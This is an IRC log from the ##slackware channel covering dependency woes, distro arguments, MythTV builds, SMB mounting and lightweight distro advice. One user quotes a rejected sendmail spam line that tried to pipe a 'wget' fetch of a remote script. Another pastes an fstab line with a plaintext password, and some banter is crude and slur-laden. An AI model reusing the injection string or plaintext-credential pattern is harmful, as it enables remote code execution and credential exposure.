:P just kiddin' [14:40] Green means they have spolied. [14:40] Wiren- (~aad@LRouen-152-81-20-241.w80-13.abo.wanadoo.fr) left irc: [14:40] Shoulda ate them sooner. [14:40] :) [14:40] Inkscape requires gc, gsl, libsigc++, glibmm, cairomm, pangomm, and gtkmm. [14:40] Where can I get all that? D: [14:40] I mean can't you guys just bundle it all into one easy package for someone stupid like me?! D: [14:40] Slackbuilds.org [14:40] sbopkg makes it easy [14:41] lol [14:41] riza, those are pimp [14:41] riza... use debian... you can install everything with all depdendencies with one single command... it downloads binaries from debian server [14:41] Action: jkwood slaps dios_mio [14:41] you can do it with one long command in slack, too [14:41] :) [14:42] Okay. [14:42] I am not installing all this. [14:42] lol [14:42] Inkscape is well worth it. [14:42] First it says it want gtkmm, then I look then it says it needs cairo, then glib, then etc. [14:42] Screw it, I'll just hire an artist. lol [14:42] I always do that anyway. [14:43] riza, a regular slackware user will google all those dependencies, and download their source codes from their own websites, and then compile and install them.... and you will find that each of those packages probably want more packages [14:43] For what it's worth, even with all those dependencies, Inkscape is still lighter weight than Adobe Illustrator. [14:43] riza, a debian or ubuntu user types one command, and it all gets installed in a few moments [14:43] dios_mio, I know that already. [14:43] dios_mio: Stop talking nonsense. [14:43] That was the dependencies I saw and googled. [14:44] They wont google dependencies [14:44] and like i said, sbopkg really helps with this kind of install [14:44] They'll try to compile..and see them o.O [14:44] lol [14:44] That was what I did first straterra. [14:44] THE DEPENDENCIES ARE NOTED IN THE READMES OF THE SLACKBUILDS [14:44] That's what I always do [14:44] If it isnt a slackbuild, that is [14:44] straterra, i meant: when you try and compile a package and you discover it requires further packages (which we call dependencies) you go and search for them on the web and get their source code and install them [14:44] Ya. [14:44] configure: error: libgc (the Boehm Conservative Collector) 6.4+, is needed to compile inkscape [14:44] Inkscape and all its dependencies are available from SlackBuilds.org. [14:45] jewbacca (~yosi@cpe-68-174-204-197.si.res.rr.com) joined ##slackware. [14:45] I know what dependencies are.. [14:45] I am too lazy. Let's just move on. [14:45] I don't search them on the web [14:45] sahk0 (~grbzks@pdpc/supporter/active/grbzks) joined ##slackware. [14:45] shonudo (~user@c-68-35-130-174.hsd1.nm.comcast.net) joined ##slackware. [14:45] jkwood, slackbuilds doesnt give out bianries, and it is too complicated and a hassle... all it does is provide you with a handy uninstalling tool, which is also complicated [14:45] removepkg is pretty easy [14:45] dios_mio: Quit trolling. [14:46] anyone values his time would use debian or ubuntu [14:46] rworkman: ping [14:46] jkwood, truth hurts? [14:46] dios_mio: then why bother hanging out in a channel representing a distro you don't like? feeling trolly? [14:46] dios_mio: The last time I used Ubuntu, I decided that I weanted to remove nano. [14:47] jewbacca, well my friend, I like slackware for nostalgic reasons, ok? [14:47] apt-get insisted that it was a dependency of desktop-essentials. [14:47] dios_mio: no, not ok, don't troll the chan [14:47] Slackware has never done that to me. [14:47] ilj (~ilj@sourcemage/grimoire/apprentice/ilj) joined ##slackware. [14:47] Drakevr (~drakevr@unaffiliated/drakevr) joined ##slackware. [14:47] jkwood, well, that doesnt sound like a big problem that you should abandon ubuntu.. and FOR slackware [14:48] check riza's problem [14:48] They also have the worst KDE distribution I've ever seen. It's an embarassment. [14:48] jkwood: pong [14:48] you all know how it works in slackware.... there is no packaging system and that is primitive by today's standards [14:48] dios_mio: so? [14:48] rworkman: ^^ [14:48] alienBOB, nothing, just saying [14:49] dios_mio: as per usual, you are a silly troll and extremely wrong. [14:49] letting riza know of her options [14:49] It none of your concern any longer, please move on [14:49] now move along. [14:49] dios_mio: there is a packaging system, there just isn't dependencies [14:49] yeah whatever [14:49] jewbacca: dios_mio has troulbe grokking that part. [14:49] dios_mio: life is complicated. [14:49] its packaging system is only good for letting you do cleaner uninstalls later, if you ever need that [14:50] BP{k}: i know...he can't seem to understand a packaging system that doesn't work exactly like rpm [14:50] Too many words there. [14:50] rworkman: :D [14:50] Just ignore him [14:50] you are all fundamentalists [14:50] Action: jkwood goes back to writing Ruby code [14:51] If he keeps talking then his ego is too big for this channel [14:51] https://launchpad.net/bugs/559881 [14:51] dios_mio: we put the fun in fundamental [14:51] I put the mental in it. [14:51] trhodes: be careful, we may find you in our jihad against UBUNTidels [14:51] And i put the dame. [14:51] jkwood puts the "da" in it. [14:52] Dar, comrade. [14:52] Darn [14:52] i put the dam in fundamental [14:52] s/ trhodes / dios_mio [14:52] Urp durp. [14:52] This is so not worth it guys. [14:52] Stop fighting. [14:52] riza (riza@unaffiliated/riza) left ##slackware ("Leaving."). [14:52] jewbacca: aw shucks [14:52] haha [14:52] ZOMG [14:52] HE LEFT [14:52] "can't we all just get along?"{ [14:52] haha that person is a bit.. weak [14:52] Maybe he'll find a home. He was a stranger in a strange land. [14:53] like ahnold said: he'll be bock [14:53] i think it was a girl [14:53] mancha: in the words of the LAPD, "hell no, mother-fsck'er" [14:53] Go chase it down [14:53] dios_mio: girls do not exist on irc. think again [14:53] like johan sebastian said: i'll be bach [14:53] dios_mio: it just wanted to trick you into cyber then send you a pic of its penis [14:53] Action: mancha ducks [14:53] To get that penis? [14:53] raela: or its mangina [14:53] mancha: .... [14:54] :) [14:54] raela, she better send me a pic of her boobs because i bit the bullet for her and told her about the virtues of debian and ubuntu in ##slackware, full of slack zealots [14:54] straterra: that's not as mentally scarring though.. right? [14:54] Action: jkwood steals control of his information back from Facebook [14:54] dios_mio, you mean you found slackware fans in ##slackware?? who'd have thunk [14:54] lol [14:54] raela: Nothing scarrs me [14:54] dios_mio: what, so riza can be as big of an idiot as you? and learn nothing of linux.. :P [14:55] straterra: I bet a knife would [14:55] raela: that is nigh impossible. [14:55] raela: nah [14:55] dios_mio, lol [14:55] alphad64 (~alphad@rs.aviso.ci) joined ##slackware. [14:55] heya Necos [14:55] raela: you know..they sharpen the drills that can cut diamons on my abs, right? [14:55] these strident pissing contests are really getting old [14:55] BP{k}: sure it is.. azeotrope exists, right? [14:55] heya fire|bird [14:55] straterra: good to know, will keep that in mind [14:56] raela: .... [14:56] Skywise: the gum? [14:56] i am scared, when azerothrope finally does figure out how to set up an AP he'll be a mean wifi h4x0r [14:56] raela: don't be offensive to idiots now. [14:56] straterra: Chuick Norris could scar you. [14:56] FriedBob: puhlease [14:56] can't forget bruce [14:56] The only thing he can scar is his career.. [14:56] schneier the scarrer [14:56] straterra, no, thats stride or trident, but you were close [14:57] Cann0n (~jack@unaffiliated/cann0n) left irc: Ping timeout: 240 seconds [14:57] BP{k}: sorry, sorry.. I don't like to separate them out [14:57] Be careful when straterra gets close. [14:57] i don't think strident gum would be very good, it would be strong tho [14:58] The-spiki (~spiki@linette.scnet.rs) left irc: Read error: Connection reset by peer [14:59] byteframe (~byteframe@pool-74-104-2-246.bstnma.east.verizon.net) left irc: Ping timeout: 265 seconds [15:01] riza (~riza@unaffiliated/riza) joined ##slackware. [15:01] Hm.. [15:01] I just realized something. [15:01] Say, what widget do you guys have on your desktop? :D [15:01] none [15:01] nick4 (~fffeop@77.49.155.219.dsl.dyn.forthnet.gr) left irc: [15:01] BOring. :| [15:01] riza: I use fluxbox without any special add ons [15:01] no icons, either [15:02] Same, no icon or widget but.. [15:02] Non either, just three icons which I mostly ignore. [15:02] If you guys don't have any, neither will I. [15:02] Weather, WoW realm status, and world clock. [15:02] riza: i use fvwm2, i know not of these widgets you speak of [15:02] jkwood!! What server? :D What class? [15:02] One of each, mutliple servers. [15:02] riza, you can't follow a very dramatic exit with a dull question about a "widget [sic]" [15:02] Ooh.. who is your main? [15:02] Does emacs count as a widget? [15:03] FriedBob: no. [15:03] Jantilla, BT. [15:03] mancha, it wasn't dramatic. I just hit exit to fix a color issue and came back. [15:03] FriedBob: It's more of an Old God. [15:03] BP{k}: What about count as a desktop? [15:03] Black Temple is your server? BOo. [15:03] No, Borean Tundra. [15:03] FriedBob: you mean Emacs OS, right? [15:03] Oops. Alright. [15:03] <:) [15:03] Forgot Black Temple existed. [15:04] BP{k}: If wish I could get emacs on my BlackBerry. [15:04] yeah, isn't emacs the reason pat put together slackware in the first place? [15:04] slackware was designed on emacs [15:04] mancha: i thought so [15:04] jewbacca: why don't you just use emacs as your kernel, gah :P [15:05] slackware was designed in dreams made of awesomeness [15:05] boot to it and go for it [15:05] That was before it achieved consciousness, though. [15:05] each brick of amazingness was placed carefully by the slackware team [15:05] raela: emacs has no kernel-level routines [15:06] insmod emacs.ko [15:06] jewbacca: But I think there is a mode for that. [15:06] too bad emacs wm didn't go forward [15:06] make an emacs live-cd [15:06] Pat set the cornerstone. rworkman set the cornerstone of the add-on bar. [15:06] eddie_grey (~Usuario@187.23.104.70) joined ##slackware. [15:07] raela: that would be awesomeness [15:07] jewbacca: make it portable to usb as well, just in case [15:07] jewbacca: then install it in your car [15:07] i like joe the editor [15:08] raela: I'm pretty sure that's why Toyota is in such trouble right now. [15:08] Raphael_S (~Raphael_S@r311-pb-itajai.ibys.com.br) joined ##slackware. [15:08] ... Hm.. [15:08] andarius (~andarius@c-24-98-241-160.hsd1.ga.comcast.net) joined ##slackware. [15:08] jkwood: No, the installed vi instead of emacs, and that is why [15:08] Raphael_S (Raphael_S@r311-pb-itajai.ibys.com.br) left ##slackware. [15:08] jkwood: hahaha.. emacs controls the brakes, eh? [15:08] er, or accelerator [15:09] raela: emacs controls all [15:09] FriedBob: That would explain the car not knowing how to quit. [15:10] AYe [15:10] You guys are leaving out San Francisco, at least comparible to LA [15:10] Sorry, wrong window [15:11] you want emacs to quit? C-x C-c [15:11] but be warned...all is vanity without emacs [15:14] alphad64 (~alphad@rs.aviso.ci) left irc: Remote host closed the connection [15:14] Alright, thanks guys. Gotta practice c. [15:14] riza (riza@unaffiliated/riza) left ##slackware ("Leaving."). [15:14] adamk (~user@unaffiliated/adamk) joined ##slackware. [15:15] quit emacs? [15:16] thrice`: i know...it makes no sense, does it? [15:16] no ;( [15:16] I think the quit command is just decorative. [15:17] alphad64 (~alphad64@rs.aviso.ci) joined ##slackware. [15:17] have you guys seen this kind of spam mail yet? [15:17] sendmail[32557]: o3NCIeIf032557: Milter: to=root+:"|wget http://fortunes.in/x1x.php", reject=550 5.1.1 No such user [15:17] with that kind of addy [15:17] FriedBob: just to prove that emacs was powerful enough to allow the user to stop it(or allow the user to *think* it stops [15:18] v4nelle (~van@ipa230.12.tellas.gr) left irc: Remote host closed the connection [15:20] ScreamerX (~screamer@chello084115148215.3.graz.surfer.at) left irc: Quit: bye [15:20] graffz (~graffz@118.175.66.195) joined ##slackware. [15:21] kiethvez (~IceChat7@97-86-247-125.dhcp.roch.mn.charter.com) joined ##slackware. [15:21] Drakevr (~drakevr@unaffiliated/drakevr) left irc: Quit: leaving [15:22] looking for help on how to use a static IP? I had DHCP working but I need it to be static to use as a server [15:22] Drakevr (~drakevr@unaffiliated/drakevr) joined ##slackware. [15:22] im compiling something and this keeps on popping up: [15:22] distcc[2172] (dcc_get_hostlist) Warning: no hostlist is set; can't distribute work [15:22] distcc[2172] (dcc_build_somewhere) Warning: failed to distribute, running locally instead [15:22] what does that mean? [15:22] eddie_grey (~Usuario@187.23.104.70) left irc: Quit: Leaving [15:22] ls [15:22] pfft [15:23] dustybin: in other words, you aren't distributing the compile, it's just compiling locally [15:23] dustybin: I would guess that it means that distcc is running locally because it can't distribute the workload [15:23] right i see :D [15:23] whoever said mythtv is hard to compile? [15:23] so far it has required just one dep! [15:23] StarX (~StarX@unaffiliated/stars) left irc: Remote host closed the connection [15:24] StarX (~StarX@unaffiliated/stars) joined ##slackware. [15:24] time for food [15:24] kiethvez (~IceChat7@97-86-247-125.dhcp.roch.mn.charter.com) left irc: Client Quit [15:27] dustybin: It just takes a long time. [15:28] guax (~guax@unaffiliated/guaxinim) left irc: Quit: Bye [15:28] dustybin: How long does it take? [15:29] dchmelik (~d@dynamic-216-227-6-29.ellensburg.fairpoint.net) joined ##slackware. [15:29] I've been experimenting with OpenCASCADE & FreeCAD, both take hours to compile, and that's on a CoreDuo 3MHz box w/ 4GB of RAM [15:29] alphad64 (~alphad64@rs.aviso.ci) left irc: Remote host closed the connection [15:30] The longest compiles I regularly have to deal with are KDE, Wine, Wesnoth, and Inkscape ( the deps, anyhow.) [15:30] alisonken1home (~alisonken@pool-71-104-224-127.lsanca.dsl-w.verizon.net) left irc: Ping timeout: 252 seconds [15:30] 3 MHz is smoking !! [15:30] And they need a few GB of space on the drive as well :) [15:30] andarius: ok, ok... 3GHz :) [15:30] steinberg (~steinberg@67.23.167.36) left irc: Quit: Quit [15:30] Photon runs at 3 MHz, iirc. [15:31] My first computer was running at less than 1MHz... (OK, I'm old) [15:31] Herre we go. [15:31] lol [15:33] is this an "i'm older than you" rant? >.> [15:33] phrag (phrag@about/slackware/phrag) left ##slackware. [15:33] phrag (~phrag@about/slackware/phrag) joined ##slackware. [15:33] guax (~guax@189.34.17.159) joined ##slackware. [15:33] guax (~guax@189.34.17.159) left irc: Changing host [15:33] guax (~guax@unaffiliated/guaxinim) joined ##slackware. [15:33] most likely [15:33] i'm not old but my first pc was commodor [15:33] :) [15:33] I had a coal-powered computer. I had to shovel the coal into the bin before it could run "hello world" in COBOL. [15:34] then a few months later we got a pentium pro [15:34] This usually devolves into "Well, my first computer ran Multics and had to be programmed with a PDP-0.25" [15:34] lol [15:34] shemp: It already had a display to write? Mine only had flashing lights and switches :P [15:34] mine ran off of love [15:35] wario: don't get too passionate about this... [15:36] It's not my first, but my fav computer that I own is my dual P90. [15:37] mine was abacus :) [15:37] mine was an apple ][ [15:37] then i got an apple ][+ and then an apple ][e and then an apple //c [15:37] I <3 Applie ][e, but never owned one. :( [15:38] I remember the old apple when i was in grade 8 was use for the special ed class :) [15:38] i still have my apple //c with disks, monitor and printer [15:38] i mean kids with special needs [15:38] it still boots, at least it did a couple of years ago [15:38] they never sold the portable color monitor that was supposed to go with the //c [15:39] Used to have an Apple ][ and //e... But space restrictions meant I had to give them away... [15:40] the difference between a ][ and ][+ was a 128k language card [15:41] i first thought it would let it speak other languages rather then use other programming languages [15:42] alisonken1home (~alisonken@pool-71-104-224-127.lsanca.dsl-w.verizon.net) joined ##slackware. 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[15:59] its a mount option, you can set the default user, group and file permissions since windows doesn't have that on the fs [16:00] the user is getting set properly, but it doesn't have write permission [16:00] Action: initself tries noperm. [16:00] hehe [16:00] StarX (~StarX@unaffiliated/stars) left irc: Remote host closed the connection [16:00] user=username [16:01] gregsparc (~chatzilla@208.65.91.90) left irc: Remote host closed the connection [16:01] what do you know, noperm works [16:01] wario++ [16:03] though not the best way.. i'm glad it works [16:04] here's what i have [16:04] //intranet/specs /mnt/specs smbfs username=mbaas,password=sbsb80a12,gid=100,uid=1000,noperm 0 0 [16:04] what else would i do? [16:04] >.> [16:04] hmm, not put your password in a logged irc channel? [16:05] that password only does one thing! [16:06] and it does it well.. :) [16:07] that's actually a really bad idea too >.> [16:07] what? [16:07] noperm? [16:07] you should use a mount.cifs command with credentials in a file only readable by root [16:08] it is [16:08] /etc/fstab [16:08] ^^ [16:08] what! [16:08] i am a retard and i dont know it? [16:09] you changed the permission of /etc/fstab? [16:09] i doubt that [16:09] Ignorance is when you don't know something and somebody finds out. [16:09] ok, you got me [16:09] i didn't [16:09] i'm lying to make friends [16:09] it just turns out my friends are way smarter than I am. [16:10] anyways, i'm not overly concerned about my password for that mount [16:10] but maybe i'm retarded [16:10] you don't have to lie to make friends. [16:10] i'm saying, INSTEAD of using /etc/fstab, you should use a mount command with the username and password in a file only readable by root [16:10] initself: I recommend a good once-over of noobfarm.org to see what happens when people lie to make friends here. ;) [16:10] Necos: I know, but that would be hard. [16:10] jkwood: wow [16:11] gar0t0 (~gar0t0@unaffiliated/gar0t0) joined ##slackware. [16:11] Kosty (~john@c-98-219-58-113.hsd1.ga.comcast.net) joined ##slackware. [16:11] plus i think your attitude stinks...as i have not done anything [16:11] you can also have /etc/fstab pull credentials from a smbcredentils file. that way you can set it up in fstab but keep username and password out of fstab [16:11] at a boy, Chunky! [16:11] chess: nice [16:12] Action: initself goes back to working on Perl and avoiding all sysadmin tasks. [16:13] chess: that would be too hard [16:13] sftp (~sftp@79.174.50.208) left irc: Remote host closed the connection [16:13] can't you even hash the credential file? [16:13] gaz (~gaz@cpc4-runc5-2-0-cust424.1-3.cable.virginmedia.com) left irc: Quit: Leaving [16:14] sftp (~sftp@79.174.50.208) joined ##slackware. [16:15] probably. i've always just set root only perm on the credential file [16:16] because after all Windows will except a strait hash iirc. [16:16] don't even need the password. :D [16:16] mmayhew (~mmayhew@uno.mmayhew.com) left irc: Ping timeout: 276 seconds [16:16] guax (~guax@unaffiliated/guaxinim) left irc: Quit: ufsc [16:17] sadsfae (~sadsfae@funcamp.net) left irc: Ping timeout: 276 seconds [16:17] accept* [16:17] mmayhew (~mmayhew@uno.mmayhew.com) joined ##slackware. [16:18] gregsparc (~chatzilla@208.65.91.90) joined ##slackware. [16:19] chess, i forgot about that (credential file in fstab) [16:19] hackedhead (~hackedhea@unaffiliated/hackedhead) left irc: Ping timeout: 276 seconds [16:20] i am _totally_ confused and _shocked_ [16:20] hackedhead (~hackedhea@pool-71-164-76-207.albyny.east.verizon.net) joined ##slackware. [16:20] i have installed slackware 13 [16:20] hackedhead (~hackedhea@pool-71-164-76-207.albyny.east.verizon.net) left irc: Changing host [16:20] hackedhead (~hackedhea@unaffiliated/hackedhead) joined ##slackware. [16:20] why, confused and shocked? [16:20] i installed using: A / AP / N / L / X / XAP [16:20] DISCLOSURE: Slack 13 made me switch to Debian. [16:20] _ZeH_ (ze_@187.7.9.27) joined ##slackware. [16:20] Action: initself ducks. [16:20] i have compiled mythtv and was missing just _one_ dep???????????? [16:20] Action: Necos kicks initself in the ass [16:20] mythtv is now compiled and its working right now [16:21] i was expecting _SERIOUS_ pain [16:21] this is easier than installing mythtv on a distro like ubuntu [16:21] dustybin: sure. [16:22] dustybin: the ubuntu package manager is more of a pain than anything, IMO. [16:22] it seems like that for sure [16:22] initself: good to know.. now you can get help in #debian [16:23] i tried slackware ages ago, when i was new to linux, it was a bit too much then [16:23] slackware is the cleanest distro ive tried :D [16:24] wario: hey, that's not fair! I still love Slack 11! [16:24] paul424 (1000@k163-223.DWUDZIESTOLATKA.ds.uni.wroc.pl) joined ##slackware. [16:24] mass_nerder (~c657631d@gateway/web/freenode/x-yfvqhiyloerqqcgn) left irc: Quit: Page closed [16:25] :) [16:25] dustybin: For the most part, users of other distros have some strange and nonsensical ideas about Slackware. I have noticed this in my travels. [16:26] jkwood: maybe thats a good thing [16:26] Most of the others still hang aroud here, they just use other distros for other things. [16:26] slackware / debian / redhat are the core distros, i dont mind learning bits about each of them [16:26] AEnima1577 (~clbarnob@rrcs-24-199-200-70.midsouth.biz.rr.com) joined ##slackware. [16:27] dustybin: you came a long way from what you knew as of a year ago (think #httpd / #apache) [16:27] AEnima1577 (clbarnob@rrcs-24-199-200-70.midsouth.biz.rr.com) left ##slackware. [16:27] dustybin: you were asking pretty stupid questions then. [16:27] thumbs: you have a good mem [16:27] AEnima1577 (~clbarnob@rrcs-24-199-200-70.midsouth.biz.rr.com) joined ##slackware. [16:27] rg3 (~deckard@cm-85-152-206-242.telecable.es) joined ##slackware. [16:28] Funny thing about that. I started on Slackware too. I mostly stayed on Slackware. And now I know more about Debian/Redhat than most of their users do. Go figure. [16:28] shemp: Slackware encourages more RTFM than most other distros. [16:29] Which is funny, because most of the man pages come from Debian. [16:29] heh [16:29] shemp: I ignore debian on purpose. heh. [16:29] Is the Gentoo documentation back up? That's a nice resource. [16:30] jkwood: the arch documentation has taken it's place [16:30] *its [16:30] _ZeH_ (ze_@187.7.9.27) left irc: [16:30] the best place to read docs is the project websites?! [16:30] At times [16:30] Agiofws (~Agiofws@athedsl-424064.home.otenet.gr) left irc: Excess Flood [16:30] thieusoai (~tvn@adaptive.cs.unm.edu) left irc: Read error: Connection reset by peer [16:31] sadsfae (~sadsfae@funcamp.net) joined ##slackware. [16:31] Agiofws (~Agiofws@athedsl-424064.home.otenet.gr) joined ##slackware. [16:31] NaCl: Ah, nice. I'll have to keep an eye out for that. [16:32] dustybin: I have to admit, I was doubtful when I first saw you install slackware. [16:34] Drakevr (~drakevr@unaffiliated/drakevr) left irc: Quit: Leaving [16:34] thumbs: it went far better than i expected, i was thinking this might be done in a few weeks or more [16:34] not a couple of days [16:35] groo_ (~groo@189.64.101.226) joined ##slackware. [16:35] groo_ (~groo@189.64.101.226) left irc: Client Quit [16:35] slackware 13 net install / lvm partitions / new kernel compiled from kernel.org - works with lvm / nvidia driver / mythtv frontend [16:36] dustybin: It's a lot less painful than it was when I started a couple years ago. Improvements in drivers and whatnot, mostly. [16:36] aye ok [16:36] http/ftp installs were a godsend, heh [16:36] im going to buy parts for a new server soon, slackware will be going straight on it [16:37] shyko (~shyko@unaffiliated/shyko) left irc: Quit: ... [16:38] That reminds me, I need to check into getting a graphics card for my media server. [16:38] Unless... have the Intel graphics drivers improved much in -current? [16:40] MythTV's GL frontend runs like a dog on my i915. [16:40] sftp (~sftp@79.174.50.208) left irc: Remote host closed the connection [16:40] sftp (~sftp@79.174.50.208) joined ##slackware. [16:40] jkwood: improved possibly, though there are still some bugs you may not want to deal with [16:41] lunarvalleys (~lunarvall@dyn3-82-128-187-156.psoas.suomi.net) joined ##slackware. [16:42] rg3 (~deckard@cm-85-152-206-242.telecable.es) left irc: Quit: Leaving. [16:42] jkwood: i actually haven't noticed them lately though, i think 2.10.0 might have fixed many of them [16:43] If the GL performance is better, I don't mind running -current on it (though rebuilding stuff will be a bit of a pain, but that's okay.) [16:43] i'd go for it. :) [16:44] ilj (~ilj@sourcemage/grimoire/apprentice/ilj) left irc: Read error: Operation timed out [16:44] jkwood: I also use http://www.gmabooster.com/ sometimes if I think it will help. [16:44] paul424 (1000@k163-223.DWUDZIESTOLATKA.ds.uni.wroc.pl) left irc: Quit: ChatZilla 0.9.86 [Firefox 3.6/20100115133306] [16:44] Ah, thanks for that. [16:45] Cann0n (~jack@dialup-4.91.97.218.Dial1.Orlando1.Level3.net) joined ##slackware. [16:45] crashdata (~crashdata@S0106002129688d6e.vf.shawcable.net) left irc: Ping timeout: 268 seconds [16:46] crashdata (~crashdata@S0106002129688d6e.vf.shawcable.net) joined ##slackware. [16:46] Yep [16:48] Necrosporus (~Xenius@unaffiliated/necrosporus) left irc: Ping timeout: 258 seconds [16:49] Cann0n (~jack@dialup-4.91.97.218.Dial1.Orlando1.Level3.net) left irc: Client Quit [16:49] Cann0n (~jack@dialup-4.91.97.218.Dial1.Orlando1.Level3.net) joined ##slackware. [16:49] Cann0n (~jack@dialup-4.91.97.218.Dial1.Orlando1.Level3.net) left irc: Changing host [16:49] Cann0n (~jack@unaffiliated/cann0n) joined ##slackware. [16:51] r_linux (~r_linux@smtp.mandique.com.br) left irc: Quit: ... [16:51] hmmm, I foresee some browser pluging breakage for next version of firefox =) [16:52] I forgot, is there some command like uname that says what Slackware version you have? [16:52] Carnac the Magnificent, what about my love life, will Pam date me or not? [16:52] cat /etc/slackware-version [16:54] [OpenSys] (~vasco@fw.vslinux.net) left irc: Quit: curiosity kill the kat [16:55] mancha: hmmmm, Pam will date you but won't tell you his actual name is "Roger" [16:56] Thank you carnac [16:56] Greyhound- (Greyhound@79.114.11.167) joined ##slackware. [16:57] Leo1 (~Leo@static-200-105-223-39.acelerate.net) joined ##slackware. [16:57] ten euros please -_- [16:57] hey guys [16:58] which one is better zenwalk or vector [16:58] i have less than 128mb ram [16:58] ? [16:59] slackware 11? [16:59] Red Star linux [16:59] have low ram [16:59] ubuntu: great or greatest distro ? [16:59] will i b able to have these? [16:59] Slackware 13 with Fluxbox. [17:00] where can i get that? [17:00] indeed, 13 and -current work fine on old hardware [17:00] i've not tested 13 or current on old hardware [17:01] Leo1: Fluxbox comes with Slackware. [17:01] for _less_ than 128MB? won't be very funny [17:01] Leo1: just uncheck the kde and kdei part during installation. [17:02] wario his constaint is memory not necessarily HD space [17:02] at slackware.org [17:02] right? [17:02] well, i'm just saying if he isn't going to use it might as well get rid of it. :) [17:03] Right, it's in a separate diskset for a reason. [17:03] how do i uncheck it? [17:03] s0d0 (~sod@host86-175-233-240.wlms-broadband.com) left irc: Quit: Leaving [17:03] slackware.org is not the domain of Slackware Linux. It's slackware.com. [17:04] but how do i uncheck [17:04] i don't think you can have a pleasant desktop experience with 128MB and recent releases of userland applications [17:04] at the instalation= [17:04] Greyhound- (Greyhound@79.114.11.167) left irc: Quit: ( www.nnscript.com :: NoNameScript 4.22 :: www.esnation.com ) [17:04] andarius (~andarius@c-24-98-241-160.hsd1.ga.comcast.net) left irc: Quit: its a bird, its a plane, its me hauling ass from work :o [17:04] Greyhound- (Greyhound@79.114.11.167) joined ##slackware. [17:05] Leo1: http://distrowatch.com/search.php?category=Old+computers&origin=All&basedon=Slackware&desktop=All&architecture=All&status=Active [17:05] will it tell me to uncheck the syuff i dont want= [17:05] Syllopsium (~Peter@blears.syllopsium.com) joined ##slackware. [17:06] Strykar (~wakka@122.169.82.24) joined ##slackware. [17:06] zenwalk isn't even listed there. [17:06] Leo1, puppy linux if u like it :D [17:06] for example, right now my ff 3.6 is up and using about 360MB [17:06] and this is not overly stressed [17:07] slackerpete (~slackerpe@host86-154-105-133.range86-154.btcentralplus.com) left irc: Quit: Leaving [17:07] X (including shared libs) is another 330MB (some overlap there) [17:07] so i wont b able to have slackware= [17:07] ? [17:07] so with 128MB unless you like disk thrashing, you're pretty much CLI [17:08] The-spiki (~spiki@95.180.73.112) joined ##slackware. [17:08] im using puppy rite now [17:09] Leo1: check that link i showed [17:09] but many people told me that slack is the best of all besides redg [17:09] i have a old computer that have 256 SDRAM that runs slackware 12.2 and a window manager : icewm [17:09] verry basic:D [17:09] what about vector [17:09] i downloaded it and burned it [17:09] vetor seems tp me faster that zen` [17:09] its the light live [17:10] give it a shot [17:10] is it better than zen? [17:10] and i think it boot faster than zenwalk [17:10] absolute linux has interested me for a while. i haven't tried it out though [17:10] also have it [17:10] lol [17:10] in an iso [17:10] but it stayed in cli [17:11] http://www.absolutelinux.org/ [17:11] th i know [17:11] i also have austrumi [17:11] but seamonkey didnt run [17:11] after downloading it [17:11] Leo1: what processor do you have in the computer? [17:11] p4 [17:12] is that the answer? [17:12] yes [17:12] i dunnow much about cpus [17:12] graffz` (~graffz@118.175.66.195) joined ##slackware. [17:12] you really should consider more ram, a p4 is a good processor but 128mb is ridiculous these days [17:12] i also have austrumi [17:12] Leo1: that's not bad, throw in some extra RAM and you'll be fine [17:12] but its daaaaaamn expensive [17:12] i use RIM instead of RAM [17:12] SDRAM? [17:12] i didn't like austrumi much. [17:12] me neither [17:13] rdram ? [17:13] although it had compiz [17:13] RIM [17:13] what? [17:13] austrumi had compiz [17:13] fill it to the RAM with.... [17:13] what is rim ? [17:13] is an old ram [17:13] discontinued [17:13] he prob means rdram, rambus memory used on the early p4 systems [17:14] older that SDRAM? [17:14] rachael: right [17:14] and its 35$ for645mb [17:14] too much [17:14] so u think vector will b ok? [17:14] $35 for 645 meg? [17:14] 64 [17:14] Or $35 for 64? [17:15] yup [17:15] i had 2 128 meg size of those sticks [17:15] hard to come by [17:15] yh [17:15] also [17:15] thats almost like the prices I am used to for my amiga hardware :) [17:15] didnt play much with vector bcause [17:15] graffz (~graffz@118.175.66.195) left irc: Ping timeout: 258 seconds [17:16] at that time i thought that debian was beetter than slack [17:16] Leo1: I suggest absolute linux, though that is just me. it's probably the most updated and lieghtweight slackware based distro. [17:16] today i found out its not [17:16] i tried absolute [17:16] but couldnt make it run x [17:16] i did xwin [17:16] and nothing [17:17] startx [17:17] ohh [17:17] ok ill tell my dad to download it [17:18] yeah, it even uses the official slackware installer [17:18] but i think it uses xfce [17:18] and that makes my system sloooow [17:18] wario what is its value added? [17:18] and you can uses slackware 13 packages with it [17:19] yh but i think it uses xfce [17:19] jd (~jd@Wikipedia/HellDragon) left irc: Quit: © [17:19] does it? [17:19] no [17:21] AEnima1577 (~clbarnob@rrcs-24-199-200-70.midsouth.biz.rr.com) left irc: Quit: Leaving. [17:21] icewm i believe [17:21] oh rlly [17:21] screen + emacs is the only WM and DE you "really" need. ;) [17:22] yes, it basicall take slackware and put things in it that are good for older computer, though still offers a full "desktop" environment [17:22] with emacs he dont even need an os [17:23] sftp (~sftp@79.174.50.208) left irc: Remote host closed the connection [17:23] hehe [17:23] rachael: Naw, still need an OS, but emacs IS the OS [17:23] mancha: just something I liked. :) [17:23] whats emacs [17:24] mancha: meaning it's not trying to change slackware just make it more lightweight [17:24] Leo1, some editor written by a lunatic [17:24] an editor that thinks its a os [17:24] haha [17:24] well, slackers use vim.. [17:24] if you want a real editor try teco or THE [17:24] what!!!!?? [17:25] how can that b possible [17:25] just need ed/sed and g2g [17:25] "I just use a butterfly" [17:25] :) xkcd [17:25] (best XCKD ever) [17:25] nice [17:25] Nick change: jg71_ -> jg71 [17:25] spartan (~spartan@c-67-191-211-185.hsd1.ga.comcast.net) joined ##slackware. [17:25] Nick change: spartan -> Guest96377 [17:26] ok my dad will download absolute [17:26] so i will have to use startx [17:26] right? [17:26] yes [17:26] have spend all day setting up a konwledgetree on 13.0 here took a while to figure that out [17:26] Syllopsium (~Peter@blears.syllopsium.com) left irc: Quit: Leaving. [17:26] Leo1: i'll give you a hand if you have much problem. just come ask [17:27] sftp (~sftp@79.174.50.208) joined ##slackware. [17:27] start here though; http://www.absolutelinux.org/installing/index.shtml [17:27] Reav_ (~Sarge@41.223.57.82) left irc: Quit: Leaving. [17:28] jd (~jd@modemcable207.134-202-24.mc.videotron.ca) joined ##slackware. [17:28] jd (~jd@modemcable207.134-202-24.mc.videotron.ca) left irc: Changing host [17:28] jd (~jd@Wikipedia/HellDragon) joined ##slackware. [17:31] yh i was reading that [17:31] Nick change: graffz` -> graffz [17:31] but the installation process is from an oooooold version [17:31] 